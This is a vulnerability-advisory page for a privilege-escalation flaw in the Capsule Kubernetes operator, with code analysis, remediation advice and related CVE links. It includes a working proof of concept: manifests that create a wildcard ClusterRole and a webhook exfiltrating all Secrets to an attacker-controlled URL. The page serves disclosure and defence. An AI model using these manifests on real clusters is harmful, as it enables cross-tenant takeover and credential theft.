Skip to main content

Capsule EUVDEUVD-2026-33729

| CVE-2026-22872 MEDIUM
Improper Input Validation (CWE-20)
2026-05-28 https://github.com/projectcapsule/capsule GHSA-qjjm-7j9w-pw72
6.9
CVSS 4.0 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
6.9 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
X

Lifecycle Timeline

3
CVSS changed
Jun 01, 2026 - 19:22 NVD
6.9 (MEDIUM)
Source Code Evidence Fetched
May 28, 2026 - 17:46 vuln.today
Analysis Generated
May 28, 2026 - 17:46 vuln.today

DescriptionGitHub Advisory

TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability

Summary

The Capsule Controller runs with cluster-admin privileges. Although the TenantResource RawItems processing logic forcibly sets the namespace, this is ineffective for cluster-scoped resources. Tenant administrators can leverage the Controller's elevated privileges to create cluster-scoped resources (such as ClusterRole and ValidatingWebhookConfiguration) that they cannot create directly, achieving cross-tenant privilege escalation and cluster-level attacks.

---

Details

Vulnerability Location

File: internal/controllers/resources/processor.go Function: HandleSection() Lines: 247-285

Core Issues

  1. Excessive Controller Privileges: The Controller's ServiceAccount is bound to the cluster-admin ClusterRole
yaml
# ClusterRoleBinding: capsule-manager-rolebinding
   roleRef:
     kind: ClusterRole
     name: cluster-admin
  1. Missing Resource Scope Validation: Although the code calls obj.SetNamespace(ns.Name), this is ineffective for cluster-scoped resources (ClusterRole, ValidatingWebhookConfiguration, etc.), as the Kubernetes API ignores this field
  2. Missing Resource Type Validation: No check for whether resources are cluster-scoped

Vulnerable Code Analysis

go
// internal/controllers/resources/processor.go
for rawIndex, item := range spec.RawItems {
    template := string(item.Raw)

    t := fasttemplate.New(template, "{{ ", " }}")
    tmplString := t.ExecuteString(map[string]interface{}{
        "tenant.name": tnt.Name,
        "namespace":   ns.Name,
    })

    obj, keysAndValues := unstructured.Unstructured{}, []interface{}{"index", rawIndex}

    // Issue 1: Accepts any resource type, including cluster-scoped resources
    if _, _, decodeErr := codecFactory.UniversalDeserializer().Decode(
        []byte(tmplString), nil, &obj); decodeErr != nil {
        log.Error(decodeErr, "unable to deserialize rawItem", keysAndValues...)
        syncErr = errors.Join(syncErr, decodeErr)
        continue
    }

    // Issue 2: For cluster-scoped resources, this setting is ignored by API
    obj.SetNamespace(ns.Name)

    // Issue 3: Controller creates with cluster-admin privileges, no scope check
    if rawErr := r.createOrUpdate(ctx, &obj, objLabels, objAnnotations); rawErr != nil {
        log.Info("unable to sync rawItem", keysAndValues...)
        syncErr = errors.Join(syncErr, rawErr)
    }
}

Attack Chain

Tenant Owner (bob) - Has TenantResource creation permission
  ↓
Creates TenantResource containing cluster-scoped resources
  ↓
Capsule Controller (cluster-admin) processes RawItems
  ↓
obj.SetNamespace() ignored by Kubernetes API (cluster-scoped resources have no namespace)
  ↓
Successfully creates cluster-scoped resources (ClusterRole, ValidatingWebhook, etc.)
  ↓
Cross-tenant privilege escalation / Cluster-level attacks

---

PoC

Environment Setup

Test Environment: Kubernetes 1.27+ cluster (verified using Kind cluster)

Step 1: Verify Capsule Controller Privileges
bash
kubectl get clusterrolebinding capsule-manager-rolebinding -o yaml

Confirm output contains:

yaml
roleRef:
  kind: ClusterRole
  name: cluster-admin
# Controller has full cluster management privileges
Step 2: Install Capsule and Create Test Tenant

Complete Capsule installation and tenant creation following previous environment setup steps.

Step 3: Verify bob's Permission Restrictions

Verify bob can create TenantResource:

bash
kubectl auth can-i create tenantresources --as bob --as-group projectcapsule.dev -n tenant-b-ns1

Actual output:

yes

Verify bob cannot create ClusterRole:

bash
kubectl auth can-i create clusterroles --as bob --as-group projectcapsule.dev

Actual output:

Warning: resource 'clusterroles' is not namespace scoped in group 'rbac.authorization.k8s.io'

no

Verify bob cannot create ValidatingWebhook:

bash
kubectl auth can-i create validatingwebhookconfigurations --as bob --as-group projectcapsule.dev

Actual output:

Warning: resource 'validatingwebhookconfigurations' is not namespace scoped in group 'admissionregistration.k8s.io'

no

Attack Vector 1: Creating Malicious ClusterRole

Step 4: Create TenantResource Containing ClusterRole

Create file attack-clusterrole.yaml:

yaml
apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
  name: create-clusterrole
  namespace: tenant-b-ns1
spec:
  resyncPeriod: 60s
  resources:
    - namespaceSelector:
        matchLabels:
          capsule.clastix.io/tenant: tenant-b
      rawItems:
        - apiVersion: rbac.authorization.k8s.io/v1
          kind: ClusterRole
          metadata:
            name: malicious-clusterrole
          rules:
          - apiGroups: ["*"]
            resources: ["*"]
            verbs: ["*"]

Apply configuration as bob user (critical - must specify executor):

bash
kubectl apply -f attack-clusterrole.yaml --as bob --as-group projectcapsule.dev

Actual output:

tenantresource.capsule.clastix.io/create-clusterrole created

Important: The --as bob --as-group projectcapsule.dev parameters are crucial for proving that bob (not the cluster admin) is executing this attack.

Step 5: Verify ClusterRole Creation
bash
kubectl get clusterrole malicious-clusterrole

Actual output:

NAME                    CREATED AT
malicious-clusterrole   2026-01-05T16:10:02Z

View details:

bash
kubectl get clusterrole malicious-clusterrole -o yaml

Key output:

yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  annotations:
    capsule.clastix.io/tenant: tenant-b
  name: malicious-clusterrole
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]

Verification Successful: bob cannot directly create ClusterRole, but successfully created a cluster-scoped ClusterRole with all permissions through TenantResource.

Step 6: Exploit ClusterRole for Cross-Tenant Attack

Now bob can create a ClusterRoleBinding binding this ClusterRole to gain cluster-level privileges:

yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: bob-cluster-admin
subjects:
- kind: User
  name: bob
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: ClusterRole
  name: malicious-clusterrole
  apiGroup: rbac.authorization.k8s.io

After applying, bob will have full cluster management privileges and can access resources of all tenants.

Attack Vector 2: Creating Malicious ValidatingWebhook

Step 7: Create TenantResource Containing Webhook

Create file attack-webhook.yaml:

yaml
apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
  name: create-webhook
  namespace: tenant-b-ns1
spec:
  resyncPeriod: 60s
  resources:
    - namespaceSelector:
        matchLabels:
          capsule.clastix.io/tenant: tenant-b
      rawItems:
        - apiVersion: admissionregistration.k8s.io/v1
          kind: ValidatingWebhookConfiguration
          metadata:
            name: malicious-webhook
          webhooks:
          - name: malicious.webhook.com
            clientConfig:
              url: "https://attacker-controlled-server.com/webhook"
            rules:
            - operations: ["CREATE", "UPDATE"]
              apiGroups: [""]
              apiVersions: ["v1"]
              resources: ["secrets"]
            admissionReviewVersions: ["v1"]
            sideEffects: None
            failurePolicy: Ignore

Apply configuration as bob user:

bash
kubectl apply -f attack-webhook.yaml --as bob --as-group projectcapsule.dev

Actual output:

tenantresource.capsule.clastix.io/create-webhook created
Step 8: Verify Webhook Creation
bash
kubectl get validatingwebhookconfiguration malicious-webhook

Actual output:

NAME                WEBHOOKS   AGE
malicious-webhook   1          5s

Verification Successful: bob cannot directly create Webhook, but successfully created a cluster-scoped ValidatingWebhookConfiguration through TenantResource.

Step 9: Exploit Webhook to Steal Sensitive Data

At this point, whenever any user in the cluster creates or updates a Secret, the Kubernetes API Server will call the attacker-controlled webhook server, sending an AdmissionReview request containing the complete Secret content. The attacker can:

  1. Steal Secret data from all tenants (database passwords, API keys, etc.)
  2. Modify Secret contents
  3. Deny legitimate Secret creation requests, achieving DoS attacks

---

Impact

Affected Scope

This vulnerability affects all Capsule deployments with the following prerequisites:

  1. Capsule Controller runs with cluster-admin privileges (default configuration)
  2. Tenant Owner has permission to create TenantResource

Security Impact

  1. Cross-Tenant Privilege Escalation
  • Create ClusterRole to gain cluster-level privileges
  • Break tenant isolation boundaries
  • Access all resources of other tenants
  1. Large-Scale Sensitive Data Theft
  • Intercept all Secret creation/update requests through malicious Webhook
  • Steal passwords, API keys, certificates, etc. across the entire cluster
  • Real-time monitoring of all tenant sensitive operations
  1. Cluster-Level Denial of Service
  • Deny all API requests through Webhook
  • Make the entire cluster unavailable
  • Impact all tenants
  1. Cluster Pollution
  • Create malicious CRDs
  • Modify StorageClass
  • Impact cluster stability
  1. Persistent Backdoor
  • Created cluster-scoped resources persist
  • Even if TenantResource is deleted, ClusterRole and other resources remain
  • Difficult to detect and remove

Limiting Factors

  1. Requires Tenant Owner privileges
  2. Requires Capsule Controller running with cluster-admin privileges (default configuration)
  3. Some clusters may have additional admission controllers blocking malicious resources

AnalysisAI

Privilege escalation in Capsule (the Kubernetes multi-tenancy operator) allows authenticated tenant owners to create cluster-scoped resources - including ClusterRole and ValidatingWebhookConfiguration - by embedding them in TenantResource RawItems, bypassing tenant isolation enforced by the platform. The Capsule Controller's default cluster-admin ClusterRoleBinding means it creates whatever resource it is instructed to process, and its attempt to namespace-scope the resource via obj.SetNamespace() is silently ignored by the Kubernetes API for cluster-scoped kinds. A working proof-of-concept is publicly documented in the GHSA advisory; no CISA KEV listing has been issued at time of analysis.

Technical ContextAI

Capsule is a Kubernetes operator (pkg:go/github.com_projectcapsule_capsule) that provides multi-tenancy primitives, including TenantResource objects that allow tenant owners to template and replicate resources across their namespaces. The vulnerable code path is in internal/controllers/resources/processor.go, function HandleSection() (lines 247-285). The root cause is CWE-20 (Improper Input Validation): the RawItems loop deserializes arbitrary user-supplied YAML/JSON using codecFactory.UniversalDeserializer().Decode() with no check on whether the resulting resource is namespace-scoped or cluster-scoped. The subsequent obj.SetNamespace(ns.Name) call is a non-functional guard - for cluster-scoped Kubernetes resource kinds (ClusterRole, ValidatingWebhookConfiguration, CRD, StorageClass, etc.), the Kubernetes API server discards the metadata.namespace field entirely. The Controller's ServiceAccount is bound to the cluster-admin ClusterRole via the capsule-manager-rolebinding ClusterRoleBinding by default, so createOrUpdate() succeeds for any resource kind the API server accepts.

RemediationAI

The primary fix is to upgrade Capsule to version 0.13.0 or later, available at https://github.com/projectcapsule/capsule/releases/tag/v0.13.0. Version 0.13.0 addresses this vulnerability by validating resource scope in the RawItems processing loop so that cluster-scoped resource kinds are rejected before the Controller attempts to create them. As an immediate compensating control, the vendor recommends enabling Impersonation mode for TenantResources (documented at projectcapsule.dev/docs/replications/tenant/#impersonation), which causes the Controller to act under the tenant user's own identity rather than cluster-admin when creating resources - this means cluster-scoped resource creation will fail with a permission denied error as expected. The trade-off of the impersonation workaround is that tenant replication of legitimately needed resources may require explicit RBAC grants. Additionally, platform administrators can deploy a Kyverno or OPA Gatekeeper policy to block creation of TenantResource objects whose rawItems contain cluster-scoped kinds as a defense-in-depth measure. Operators should also audit existing cluster-scoped resources for unexpected Capsule annotations (capsule.clastix.io/tenant) to detect resources already created via this vector.

CVE-2025-1974 CRITICAL POC
9.8 Mar 25

A critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access

CVE-2026-45321 CRITICAL POC
9.6 May 12

Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio

CVE-2025-1098 HIGH POC
8.8 Mar 25

Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress

CVE-2025-24514 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres

CVE-2025-1097 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c

CVE-2020-8554 MEDIUM POC
6.3 Jan 21

Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter

CVE-2025-55190 CRITICAL POC
9.9 Sep 04

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne

CVE-2018-18843 CRITICAL POC
10.0 Dec 04

The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4

CVE-2026-22039 CRITICAL POC
9.9 Jan 27

Kyverno Kubernetes policy engine prior to 1.x has a privilege escalation vulnerability (CVSS 9.9) allowing policy bypass

CVE-2024-42480 CRITICAL POC
9.9 Aug 12

Kamaji is the Hosted Control Plane Manager for Kubernetes. Rated critical severity (CVSS 9.9), this vulnerability is rem

CVE-2023-28110 CRITICAL POC
9.9 Mar 16

Jumpserver is a popular open source bastion host, and Koko is a Jumpserver component that is the Go version of coco, ref

CVE-2026-25996 CRITICAL POC
9.8 Feb 12

String filter bypass in Inspektor Gadget Kubernetes eBPF tooling before fix. Insufficient string escaping enables filter

Share

EUVD-2026-33729 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy